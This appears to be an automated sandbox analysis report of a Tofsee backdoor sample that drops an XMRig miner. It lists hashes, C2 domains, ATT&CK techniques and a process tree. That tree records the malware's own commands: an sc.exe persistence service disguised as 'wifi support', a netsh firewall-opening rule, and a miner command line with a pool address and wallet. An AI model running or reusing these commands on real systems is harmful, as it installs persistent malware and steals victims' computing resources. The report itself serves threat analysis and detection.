Analysis

  • max time kernel
    148s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    02-12-2022 00:23

General

  • Target

    file.exe

  • Size

    191KB

  • MD5

    dcf33cd63e312a454f63a432f6b4ef8f

  • SHA1

    f591c66127decb2783334ee8850692df9d7e18e5

  • SHA256

    f29f8f753d8a8207be7e4177fa84d7f4f26373a31d42217b6797112caae396b3

  • SHA512

    b05b66a840301cad1aa9bd9f73b8f62ad13aa2d32dbba8a9ac1515a836f294f434c9426ab79bc681192503c8c54c6f196920db9d4bbe6d7a7d138f368a89a9f7

  • SSDEEP

    3072:jBl1l4ghxXI5ONlNwjzZaUkODD8hlGEUqCtWPQr3Rs9E3AZxpR/SlKG:RhxBzNwjzZfZ0XPQravpR

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mzvmebg\
      2⤵
        PID:1452
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jpcxqxkf.exe" C:\Windows\SysWOW64\mzvmebg\
        2⤵
          PID:1360
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mzvmebg binPath= "C:\Windows\SysWOW64\mzvmebg\jpcxqxkf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mzvmebg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mzvmebg
          2⤵
          • Launches sc.exe
          PID:952
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1640
      • C:\Windows\SysWOW64\mzvmebg\jpcxqxkf.exe
        C:\Windows\SysWOW64\mzvmebg\jpcxqxkf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:572
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1600

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jpcxqxkf.exe
        Filesize

        13.2MB

        MD5

        6a79c043e53555d3cf3e119db672f2da

        SHA1

        de3d82a1ec2b412c22b9da423fccb75111ff2216

        SHA256

        3697f2085ab5e316e2ddc6b01953dcb6ba5eddacb644eb0fc3e606c73d45552e

        SHA512

        cc87d4230789e4921af59bf4297349475360b68d8d076a7ee345968e8c7d6f81a0456c4d672a1c74b2f2a0ad3dba6632413db4039bbd5dde6fa00d58a4bd2593

      • C:\Windows\SysWOW64\mzvmebg\jpcxqxkf.exe
        Filesize

        13.2MB

        MD5

        6a79c043e53555d3cf3e119db672f2da

        SHA1

        de3d82a1ec2b412c22b9da423fccb75111ff2216

        SHA256

        3697f2085ab5e316e2ddc6b01953dcb6ba5eddacb644eb0fc3e606c73d45552e

        SHA512

        cc87d4230789e4921af59bf4297349475360b68d8d076a7ee345968e8c7d6f81a0456c4d672a1c74b2f2a0ad3dba6632413db4039bbd5dde6fa00d58a4bd2593

      • memory/304-62-0x0000000000000000-mapping.dmp
      • memory/572-88-0x0000000000450000-0x0000000000460000-memory.dmp
        Filesize

        64KB

      • memory/572-75-0x00000000000C9A6B-mapping.dmp
      • memory/572-74-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/572-100-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/572-72-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/572-97-0x0000000000470000-0x0000000000477000-memory.dmp
        Filesize

        28KB

      • memory/572-94-0x0000000005970000-0x0000000005D7B000-memory.dmp
        Filesize

        4.0MB

      • memory/572-91-0x0000000000460000-0x0000000000465000-memory.dmp
        Filesize

        20KB

      • memory/572-85-0x0000000000150000-0x0000000000156000-memory.dmp
        Filesize

        24KB

      • memory/572-82-0x0000000001970000-0x0000000001B7F000-memory.dmp
        Filesize

        2.1MB

      • memory/572-80-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/936-61-0x0000000000000000-mapping.dmp
      • memory/952-63-0x0000000000000000-mapping.dmp
      • memory/1360-59-0x0000000000000000-mapping.dmp
      • memory/1416-65-0x000000000026B000-0x000000000027B000-memory.dmp
        Filesize

        64KB

      • memory/1416-54-0x000000000026B000-0x000000000027B000-memory.dmp
        Filesize

        64KB

      • memory/1416-55-0x00000000003C0000-0x00000000003D3000-memory.dmp
        Filesize

        76KB

      • memory/1416-57-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1416-67-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1416-66-0x00000000003C0000-0x00000000003D3000-memory.dmp
        Filesize

        76KB

      • memory/1416-56-0x0000000075E81000-0x0000000075E83000-memory.dmp
        Filesize

        8KB

      • memory/1452-58-0x0000000000000000-mapping.dmp
      • memory/1600-101-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/1600-103-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/1600-108-0x00000000001E259C-mapping.dmp
      • memory/1640-64-0x0000000000000000-mapping.dmp
      • memory/1712-71-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/1712-70-0x000000000058B000-0x000000000059B000-memory.dmp
        Filesize

        64KB

      • memory/1712-77-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB